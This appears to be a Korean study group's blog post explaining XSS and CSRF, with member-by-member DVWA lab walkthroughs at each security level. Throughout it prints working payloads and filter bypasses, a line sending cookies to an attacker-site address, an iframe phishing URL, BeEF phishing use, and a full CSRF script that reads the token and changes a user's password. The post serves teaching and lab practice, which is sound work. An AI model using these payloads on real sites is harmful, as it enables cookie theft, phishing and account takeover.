본문 바로가기

4-2. 2024-1 심화 스터디/웹 취약점 분석

[4주차] Injection 취약점 분석/실습 (2/2)

XSS

  • 악성 스크립트를 무해하고 신뢰할 수 있는 웹 사이트에 삽입하는 injection 유형.
  • 사용자의 브라우저에 스크립트 형태의 악성 코드를 실행하도록 하는 공격.
  • 웹 어플리케이션이 생성하는 출력 내에서 사용자의 입력을 검증하거나 인코딩하지 않고 사용하는 모든 곳에서 발생할 수 있다.
  • 스크립트가 신뢰할 수 있는 소스에서 왔다고 생각하기 때문에 악성 스크립트가 해당 사이트에서 사용되는 쿠키, 세션 토큰 또는 기타 민감한 정보에 액세스 가능

 

* DOM: Document Object Model. html의 문법은 태그의 집합으로 구성되어 있고 이러한 태그들은 트리 구조로 객체가 형성되는데, 이러한 트리 구조 집합을 DOM 구조라고 한다. 브라우저가 웹 페이지를 렌더링 하는데 사용하는 모델 , HTML 및 XML 문서에 접근하기 위한 인터페이스이기도 하다. -> 브라우저는 HTML 문서를 읽고 해석한 결과를 DOM 형태로 재구성하여 사용자에게 제공한다.

* 동적 페이지: 사용자 입력 값에 따라서 내용이 달라지는 페이지

1. DOM based XSS

  • DOM 구조를 이용해 요소를 수정/추가 하는 등 동적 행위를 할 때 접근하는 JavaScript에 악성 스크립트를 삽입하여 클라이언트 측 브라우저에서 악성 스크립트가 실행되도록 하는 공격
  • 서버로 사용자 요청 전송 X
  • 자바스크립트와 같은 스크립트 언어를 사용해서 DOM 구조에 접근

[대응 방법]

  • 사용자 입력을 검증해 허용되지 않은 문자나 패턴을 걸러낸다.
  • 특정 문자를 이스케이핑해 사용자 입력을 html 요소로 해석되지 않도록 변경한다.
  • 서버 측에서도 입력 데이터를 검증하고 필터링해 사용자가 입력한 값에 대한 신뢰성을 확보한다.

2. Reflected XSS

  • 오류 메세지, 검색 결과, 요청 등으로 서버에 전송된 입력의 일부나 전부를 포함하는 기타 응답과 같이 삽입된 스크립트가 웹 서버 외부에 반사되는 공격.
  • 이메일, 웹사이트 등으로 피해자에게 전달되며 사용자가 속아 해당 경로로 접속하면 주입된 코드가 취약한 웹 사이트로 이동한다.
  • 입력 값이 다음 화면 출력에 사용되는 경우에 발생, 입력 값 제한이 없다면 입력 된 스크립트가 사용자 브라우저에서 실행된다.
  • 단축 url과 같이 링크 내용을 숨겨서 전달하는 경우가 많음

[대응 방법]

  • replace 함수를 사용해 입력 값 속 특정 문자 혹은 기호를 필터링한다.
  • 문자를 html 엔티티로 변환하는 함수를 적용한다.

3. Stored XSS

  • 보안이 취약한 서버에 악의적인 사용자가 악성 스크립트를 저장함으로써 발생한다.
  • 서버에서 제공하는 게시판 혹은 사용자 프로필에 악의적으로 동작하는 스크립트가 그대로 저장된 후 클라이언트의 브라우저로 전달되어 문제가 발생한다.
  • 불특정 다수에게 지속적으로 전달됨

[대응 방법]

  • 입력받은 특정 특수기호(태그문자 등)들을 html 엔티티로 변경해주는 함수를 이용한다.
  • 부득이하게 사용이 필요한 경우 필요한 태그만 사용할 수 있는 화이트 리스트 방식을 이용한다.
  • 입력 글자 수를 제한해 불필요하게 입력 문자 수가 길 필요가 없도록 만든다. (데이터베이스에서도 해당)

 

CSRF

[특징]

  • Cross Site Request Forgery, 사이트간 요청 위조
  • 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위를 수행하게 만드는 공격이다. 
  • 사용자가 사이트를 무분별하게 신뢰하는 경우에 발생한다.
  • 이미 사용자가 로그인되어있는 상태에서 공격이 진행되어야 성공할 수 있다.

 

[대응 방법]

  • CSRF 토큰 도입 (사용자가 요청을 보낼 때마다 CSRF 토큰을 넣게 해서 공격자가 요청을 보낼 수 없게 만듦)
  • Referer 체크하기 (Referer: HTTP 헤더로, 해당 요청이 어디서 왔는지 출처가 적혀있다) 

[실습]

1. DOM Based XSS

- security level: low

더보기

[국예린]

언어를 선택하면 선택한 언어와 선택할 언어들이 분리되어 정렬되는 모습을 볼 수 있다.

 

url의 default 매개변수도 값이 바뀐다.
위의 매개변수 값을 바꾸니 select 창의 이름도 바뀐다.

→ default 매개변수에 설정된 값으로 페이지를 구성한다.  

view source에는 php만 볼 수 있기 때문에 스크립트를 보려면 개발자 도구를 사용해야 한다.

 

볼드 표시된 코드부분을 보면 default 파라미터로 언어 선택을 가져와 이를 옵션으로 사용하는 자바스크립트를 생성해 페이지를 구성한다는 것을 확인할 수 있다.

때문에 해당 페이지에 alert 창을 통해 쿠키 값을 보여주는 스크립트 코드를 삽입해 보았다.

 

해당 명령어를 수행한 모습을 볼 수 있다.

 

+) 개발자 도구에서도 원래의 <script>부분이 바뀐 모습을 볼 수 있다.

 

 


[류현주]

언어를 선택하라는 버튼이 있길래 영어를 선택해보았다.

그랬더니 파라미터로 영어가 들어간 것이 그대로 보인다. 사용자 입력값을 직접 조작할 수 있다는 취약점이 있다.

소스코드를 살펴보니 보호장치가 없고 아무 값이나 입력해도 다 통과라는 것 같다.

이제 실행시키고 싶은 스크립트 코드를 URL에 넣어보자.

<script>alert(document.cookie)</script> 입력

실행되었다! 해당 URL을 복사해서 사용자가 접속하도록 유도하는 공격이 가능하다.

[백서이]

english를 고르면 위에 url에 생기는 모습을 볼수 있다.

바꾸면 밑에 바뀌는 모습을 확인할 수 있다.


[송연수]

get방식으로 받아서 넘겨주는 모습

url에서 변경이 가능하다

<script>alert(document.cookie)</script>

 

 

 

- security level: medium

더보기

[국예린]

선택을 해도 드롭다운 목록에 별다른 변화가 없는 모습이다.
select한 값은 url의 매개변수로 전달되고 있다.
소스코드 확인이 가능하다.

선택한 default를 stripos(대상 문자열을 앞에서부터 검색하여 찾고자 하는 문자열이 몇 번째 위치에 있는지를 리턴한다)를 통해 <script를 기본 값인 default=English로 바꾸는 모습을 볼 수 있다.

이럴때는 img 태그로 우회하면 될 것 같다.

앞의 select name=”default” 코드가 존재하기 때문에 공격이 막힐 것 같다.

select 부분을 끝내주는 </select>를 추가로 입력하고 image 파일이 생성시 그곳을 클릭하면 alert 창이 열리도록 입력해 보았다.

성공

[류현주]

소스코드에 내용이 추가가 되었다. 사용자 입력 값에 대해 스크립트 태그를 필터링하는 코드가 있다. stripos()함수는 대소문자 구분 없이 문자열을 검사하기 때문에 <script> 태그 대신 <img> 태그를 사용한다.

영어를 선택하면 <option>태그 부분이 적힌다. <select> 태그 안에는 <img>태그가 들어갈 수 없기 때문에 URL을 조작할 때 <select>태그를 닫아줘야 한다.

이제 URL에 </select><img src=’a’ onerror=alert(document.cookie)>를 입력해보자.

 

DOM 구조에도 잘 들어갔고, 쿠키도 출력된 모습이다.


[백서이]

stripos(): 대상 문자열을 앞에서부터 검색하여 찾고자 하는 문자열이 몇 번째 위치에 있는지를 리턴하는 함수

 


[송연수]

같은 스크립트로 실행했지만 안됨

소스코드를 확인해보면

<script 발견 시 english로 변경

→ img 태그 사용

<img src="#" onerror="alert(document.cookie)">

했지만 안돼서 개발자 도구로 확인해보면

 

태그 안에 들어가있다

</option></select><img src="#" onerror="alert(document.cookie)">

 

 

- security level: high

더보기

[국예린]

여전히 매개변수로 해당 값을 전송하지만 하나 다른 점이 있다. url에서 매개변수 값을 바꾸어도 적용되지 않는다.

medium과 같이 select 태그가 설정되어 있다. 이외에도 스크립트 코드에 default 리다이렉션 관련 내용들이 있다.

switch case 구문을 통해 case에 있는 값만 받아주는 형식으로 업그레이드 되어있다.

사용자 입력을 받고, 입력받은 구문이 select창의 값인지 확인하고 아닌 경우에 english로 redirection되는 코드이다.

해당 케이스가 아니면 접근이 불가하므로, 화이트리스트 기법을 사용해 공격해야 한다.

&를 통해 select 구문을 끝내고 다른 우회 구문을 작성해보았다.

 

 

성공

[류현주]

high에서는 아예 가능한 사용자 입력 값을 화이트리스트로 지정해놓았다. 그렇지만 이 화이트리스트 코드는 서버에 존재하는 코드이다. 서버의 필터링을 우회하기 위해 #으로 주석처리하자.

#</select><img src=’a’ onerror=alert(document.cookie)>

잘 실행된다.


[백서이]

switch문을 통해 case에 있는 값만 받아주는 방식으로 필터링


[송연수]

소스코드를 보면 get 방식으로 가져와서 null인지 확인하고

화이트리스트 설정을 해서 제한하고 있다

허용된 값이 아니면 english로 리다이렉션

=English&<script>alert(document.cookie)</script>

&로 스크립트 전달

 

 

 

 

- security level: impossible

더보기

[국예린]

select 창 화면은 그동안과 같다.

URL에 포함된 자바스크립트 코드가 직접 실행되는 것을 방지하기 위해 브라우저는 해당 데이터를 인코딩한다. 때문에 이 데이터를 사용하려면 먼저 디코딩해서 처리해야 한다.


[류현주]

 

소스코드를 보니 클라이언트측에서 보안을 맡고 있다고 써있었다.

f12로 확인하니 아래 단계들과는 다르게 디코딩을 해주고 있지 않는다.
비교용 low 코드의 모습

따라서 같은 값을 URL에 입력해도 DOM에 제대로 포함되지 않는다.

스크립트가 아니라 일반 텍스트처럼 해석됨

 

2. Reflected XSS

- security level: low

더보기

[국예린]

아무 이름이나 입력하면 hello 입력값 이 뜬다.
코드를 보니 따로 입력 값 검증을 받지는 않는 것 같다.
<script>alert(document.cookie)</script> 코드를 입력해 보았다.
별다른 조치가 없어 바로 쿠키값이 나오는 모습이다.

 


[류현주]

이름을 입력하라는 텍스트 input 칸이 있다.

이름을 입력했더니 hello+이름이 출력된다. 사용자 입력 값이 응답 메세지에 담겨있는 듯하다.

소스코드를 보니 역시나 Reflected XSS 답게 응답메세지에 사용자 입력 값이 들어간다.

그렇다면 <script>alert(document.cookie)</script> 를 입력해보자.

스크립트가 실행되었다. 성공


[백서이]

alice라고 입력했을 때

<script>alert(1)</script> ⇒ XSS 공격이 가능하다는 것을 알 수 있음

<script>alert(document.cookie)</script> ⇒쿠키의 값이 생성

⇒로그값을 알려줌

<script>document.location=’http://127.0.0.1/cookie?’+document.cookie</script?>

⇒ document.location코드를 사용하면 뒤에 명시된 127.0.0.1(해커의 사이트)로 리디렉트를 시켜줌

⇒ document.cookie 코드를 이용해서 쿠키 값을 찍어줄 수 있게 됨

 

⇒ 해커는 XSS공격에 당한 사용자의 쿠키를 빼낼 수가 있음→빼낸 쿠키를 이용해서 그 해당 사용자의 권한으로 웹사이트를 접속할 수 있게 됨

 


[송연수]

name값으로 스크립트를 바로 넣어준다

<script>alert(document.cookie)</script>

 

- security level: medium

더보기

[국예린]

페이지에는 별 다른 차이점이 없고, <script>와 &lsquo;&rsquo;을 replace 함수를 사용해 필터링 중이다.

<Script>alert(document.cookie)</Script>를 입력해 보았다.

 

성공

 


[류현주]

소스코드를 보니 <script>태그를 필터링하고 있다. 그렇지만 str_replace()함수는 대소문자를 구분하기 때문에 대문자를 섞어서 적으면 된다.

<Script>alert(document.cookie)</Script> 를 입력하자.

성공이다.


[백서이]

스크립트가 실행되지 않고 alert 부분만 문자열로 출력되었음

string replace 함수를 이용해서 스크립트 태그를 지우는 것을 확인할 수 있음

script를 소문자로 검사하기에 대문자로 입력하면 달라짐

 


[송연수]

이전 단계의 스크립트는 막힘

소스코드를 보면 <script>를 막고 있음

<SCRIPT>로 사용

 

 

 

 

- security level: high

더보기

[국예린]

필터링 되는 문자가 더 늘었다.

 

“<”가 필터링 되고 있기 때문에 <script>는 아예 쓸 수 없다.

앞서 사용한 <img src = “#” onclick=alert(document.cookie)>코드를 입력해보았다.

성공  


[류현주]

이번에도 <script>태그를 필터링하고 있다. 그런데 i옵션을 줘서 대소문자를 구별하지 않고 다 처리한다. 따라서 <img>태그를 대신 사용한다.

<img src='a' onerror=alert(document.cookie)> 를 입력해보자.

 

성공쓰  


[백서이]

<SCRIPT>alert(1)</SCRIPT> → 실행이 안 됨  

⇒대문자,소문자 모두 구별중이므로 스크립트 태그를 이용한 공격은 불가능함 따라서 HTML 공격을 하는것


[송연수]

이전 단계에서 사용한 스크립트는 막힘

script 태그를 공백으로 바꿔버림

→ 이미지 태그를 쓰자

<img src="1" onerror="alert(document.cookie)">

 

 

 

- security level: impossible

더보기

[국예린]

htmlspecialchars : 문자열에서 특정한 특수 문자를 HTML 엔티티(특수코드)로 변환한다.

 

입력받은 name 변수를 변환하기 때문에 입력한 것이 출력은 되더라도 호출의 기능을 상실했기 때문에 XSS 공격이 실행되지 않는다.

 


[류현주]

 

클라이언트 측에서 헤더에 담아 보낸 사용자 토큰과 세션 토큰을 비교해서 사용자가 직접 보낸 요청이 맞는지 확인한다.

사용자 입력 값도 htmlspecialchars()함수로 필터링한다. ( htmlspecialchars(): 정해진 특수 문자들을 html 엔티티(예약어)로 변환해 XSS 공격을 방지한다.

 

 

 

3. Stored XSS

- security level: low

더보기

[류현주]

게시글을 서버에 올릴 수 있는 페이지가 있다.

Sign Guestbook을 누르면 좌측 하단에 게시글 내용이 나타난다. 굳이 게시글에 접근할 필요 없이 자동으로 열람된다.

소스코드를 봐도 작성한 내용이 결과값으로 가는 것을 알 수 있다.

메세지 부분에 스크립트를 입력한다.

실행되었다.

 


[백서이]

⇒해커가 직접 서버에다가 스크립트 코드를 삽입시킴

글자수가 제한되어 있음

maxlength를 바꾸기  

해킹되었음

이후에 stored xss 창을 누르면 이렇게 로그가 뜸


[송연수]

방명록 형식

입력한 값이 들어간다

name쪽은 길이 제한이 있는 것 같아서 message에 스크립트를 넣어준다

<script>alert(document.cookie)</script>

F5하면 쿠키 값이 나옴

 

- security level: medium

더보기

 

[류현주]

메세지는 strip_tags()와 htmlspecial()함수로, 이름은 str_replace()함수로 필터링하고 있다.

이름에는 <script>태그가 들어가면 안 되고, 메세지에는 strip_tags()때문에 html 태그가 있으면 안 된다. 따라서 name에 스크립트를 작성하되, 태그 안에 태그를 넣어서 필터링을 우회한다.

그런데 name input 칸에 글자 수 제한이 있었다. 개발자 도구에서 글자 수를 늘려주고 실습을 진행해보자.

10이었던 maxlength를 100으로 만들었다.

성공이다.

 


[백서이]

$name=str_replace(’<script>,’’,$name);

→name 필드에서 <script>를 입력 시 공백으로 변환시키는 replace 구문이 추가적으로 들어가있는 것을 확인 가능함

maxlength 늘려주고 name에 <script>alert(document.cookie)</script>를 입력시켜줌 


[송연수]

이전 단계의 스크립트를 쓰면 태그를 지우는 것 같다

소스코드를 보면

$message = htmlspecialchars( $message );

$name = str_replace( '<script>', '', $name );

이 부분이 걸린다

name에 <SCRIPT>alert(document.cookie)</script>를 넣어보자

maxlength를 바꿔준 후 넣어주자

 

스크립트 들어간 모습, F5해서 쿠키 값 확인

 

 

- security level: high

더보기

 

[류현주]

 

메세지는 medium이랑 같은 필터링이 적용되어있고, 이름은 대소문자 구분 없이 <script를 필터링한다. 그러니 name에 <img>태그를 사용해서 우회해보자.

이번에도 마찬가지로 maxlength를 조정해준다. 그리고 <img src=’a’ onerror(document.cookie)>를 입력한다.

성공이다.

 


[백서이]

대문자, 소문자 모두 구별중임

<body onload=”alert(document.cookie)”>를 적어준다.

 


[송연수]

이전 단계 스크립트를 사용하면 막힘

소스코드를 보면

$name = preg_replace( '/<(.)s(.)c(.)r(.)i(.)p(.)t/i', '', $name );

script태그를 막아둠

→ 이미지 태그를 사용하자

<img src="1" onerror="alert(document.cookie)">

스크립트 들어간 모습

F5하면 쿠키 값을 확인할 수 있음

 

- security level: impossible

더보기

 

[류현주]

message, name 모두에 html 태그 필터링이 적용되었고, 사용자 토큰까지 검증해서 XSS를 방지하는 것을 볼 수 있다.

 


+) BeFF 프레임워크 

더보기

BeEF = 웹브라우저의 취약점을 공격하는 데 유용한 툴인데 XSS를 위해서 사용가능한 프레임워크.

 

입력창에 example 옆에 내용을 적어주면 이렇게 창이 생김

social engineering 창에서 pretty theft를 사용하면 요론 창을 볼 수 있음

→가짜 아이디 입력창으로 적으면 정보 뺏김ㅋ

 

이렇게 보여줌

 

+) 피싱(Phishing) 공격

더보기

세션 쿠키에 대해서 HttpOnly가 설정된 경우에는 XSS를 이용한 세션탈취가 어렵다. 이런 경우에는 HTML삽입을 통해 피싱(Phishing)을 시도할 수 있다.

공격자는 외부 URL을 <iframe>에 삽입할 수 있도록 다음과 같은 URL을 준비한다.

 

http://192.168.189.246/vulnerabilities/xss_r/?name=You+need+to+login+to+use+this+page.%3Cbr%3E%3C%2Fpre%3E%3Ciframe+width%3D600+height%3D400+src%3D%22http%3A%2F%2Fwww.daum.net%22%3E%3C%2Fiframe%3E#

위의 URL에서 name 변수의 값은 You need to login to use this page. <br></pre><iframe width = 600 height = 400 src = " http://www.daum.net"><iframe>

이다. 여기서는 예를 들기 위해서 <iframe>의 src 속성을 http://www.daum.net으로 하였다. 실제 공격에서는 보다 정교하게 조작된 외부 URL을 사용할 것이다.

 DVWA 반사형 XSS (low level): iframe으로 외부 페이지 삽입 ]

...

메일이나 질의응답 게시판 등을 이용하여 관리자가 공격자의 URL에 접근하게 유인한다. 이때 관리자는 위와 같은 화면을 보게 된다. 만약 http://www.daum.net이 공격자가 매우 정교하게 만든 관리자 로그인 페이지라면 관리자가 ID/PW를 입력할 가능성이 있다. 관리자가 부주의하게 ID/PW를 입력했다면 공격자의 서버에 계정정보가 저장된다.

4. CSRF 실습 

low

더보기

 

비밀번호를 변경하고, test 해볼 수 있다

변경 시, 전달되는 파라미터 확인

<img src='http://localhost/DVWA/vulnerabilities/csrf/?password_new=fool&password_conf=fool&Change=Change' width=0px height=0px>

을 stored xss쪽에 삽입을 해준다

(message length 늘려주기 필요)

삽입됨

test(기존) - wrong

fool(csrf 공격) - valid

medium

더보기

 

리퍼러 검증을 하고 있지만 이전 단계 방식으로 똑같이 가능할 것 같다...

다만 그대로 진행하게 되면 

너무 길다고 한다..&&

Reflected xss를 사용해서 진행해보자

http://localhost/DVWA/vulnerabilities/xss_r/?name=<img src='http://localhost/DVWA/vulnerabilities/csrf/?password_new=fool&password_conf=fool&Change=Change' width=0px height=0px>

 

안돼서 이렇게 바꿈....
http://localhost//DVWA/vulnerabilities/xss_r/?name=%3Cimg+src%3D%27http%3A%2F%2Flocalhost%2FDVWA%2Fvulnerabilities%2Fcsrf%2F%3Fpassword_new%3Dfool%26password_conf%3Dfool%26Change%3DChange%27+width%3D0px+height%3D0px%3E 

 

이 링크를 메일로 받았다고 가정해보자.. 

과정을 보면

넘어가는 모습

high

더보기

 

csrf token이 생겼다

https://github.com/SecuAcademy/webhacking/blob/master/csrfhigh.js

스크립트 참고!!



var xhr;
var dvwa_csrf_url = '/DVWA/vulnerabilities/csrf/';
req1();

function req1() {
        xhr = new XMLHttpRequest();

        xhr.onreadystatechange = req2;
        xhr.open('GET', dvwa_csrf_url);
        xhr.send();
}

function req2() {
        if (xhr.readyState === 4 && xhr.status === 200) {
                var htmltext = xhr.responseText;
                var parser = new DOMParser();
                var htmldoc = parser.parseFromString(htmltext,'text/html');

                var CSRFtoken = htmldoc.getElementsByName("user_token")[0].value;
                alert('Found the token: ' + CSRFtoken);

                xhr = new XMLHttpRequest();
                xhr.open('GET', dvwa_csrf_url + '?password_new=hacker&password_conf=hacker&Change=Change&user_token=' + CSRFtoken);
                xhr.send();

        }

}

맨처음 경로만 DVWA로 수정해서 진행했다!!

 

1번 요청

: csrf 토큰을 얻기 위해 csrf url 접근

2번 요청

: 1번 요청이 제대로 됐나 확인하면 csrf 토큰을 가져오고 확인차 경고창 띄우기, 찾은 토큰을 붙여서 hacker로 비밀번호를 변경하는 요청을 보냄

 

js파일을 올려주고.. /var/www/html/DVWA

stored xss 쪽에 스크립트를 삽입해두고 (low에서)

접속하면 첫번째 요청

두번째 요청까지 완료돼서

비밀번호가 바뀐다

impossible